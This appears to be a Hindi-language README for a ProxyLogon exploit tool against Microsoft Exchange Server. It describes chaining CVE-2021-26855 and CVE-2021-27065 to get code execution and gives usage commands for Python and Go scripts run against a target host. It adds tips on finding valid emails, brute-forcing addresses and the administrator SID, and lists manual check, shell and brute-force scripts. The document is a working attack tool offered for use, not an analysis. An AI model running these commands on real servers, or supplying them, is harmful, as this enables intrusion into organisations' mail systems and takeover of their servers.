ProxyLogon

ProxyLogon CVE-2021-26855 का औपचारिक सामान्य नाम है, जो Microsoft Exchange Server पर एक कमजोरी है जो हमलावर को प्रमाणीकरण को बायपास करने और व्यवस्थापक के रूप में प्रतिरूपण करने की अनुमति देती है। हमने इस बग को एक अन्य पोस्ट-ऑथ मनमानी फ़ाइल लेखन कमजोरी, CVE-2021-27065, के साथ जोड़कर कोड निष्पादन प्राप्त किया है।

Python3 के लिए ProxyLogon

usage:
    sudo python3 proxylogon.py --host=target.com [email protected]
    sudo python3 proxylogon.py --host=target.com --mails=./mails.txt

Go के लिए ProxyLogon

usage:
    go run proxylogon.go -u target.com -e [email protected]

सुझाव:

1. वैध ईमेल पता खोजने के लिए लक्ष्य की टोह लें
2. यदि आपको कोई ईमेल नहीं मिलता है, तो अपनी ईमेल फ़ाइल के साथ लक्ष्य पर ब्रूटफ़ोर्स का उपयोग करें।
3. कुछ लक्ष्यों पर स्वचालित शोषण काम नहीं करता है, आपको SID को ब्रूटफ़ोर्स करना चाहिए और SID=500 में बदलना चाहिए।

मैनुअल पेंटेस्ट

sudo python2 /manual/check.py 
sudo python2 /manual/shell.py 
sudo python2 /manual/brute.py 

संदर्भ

• proxylogon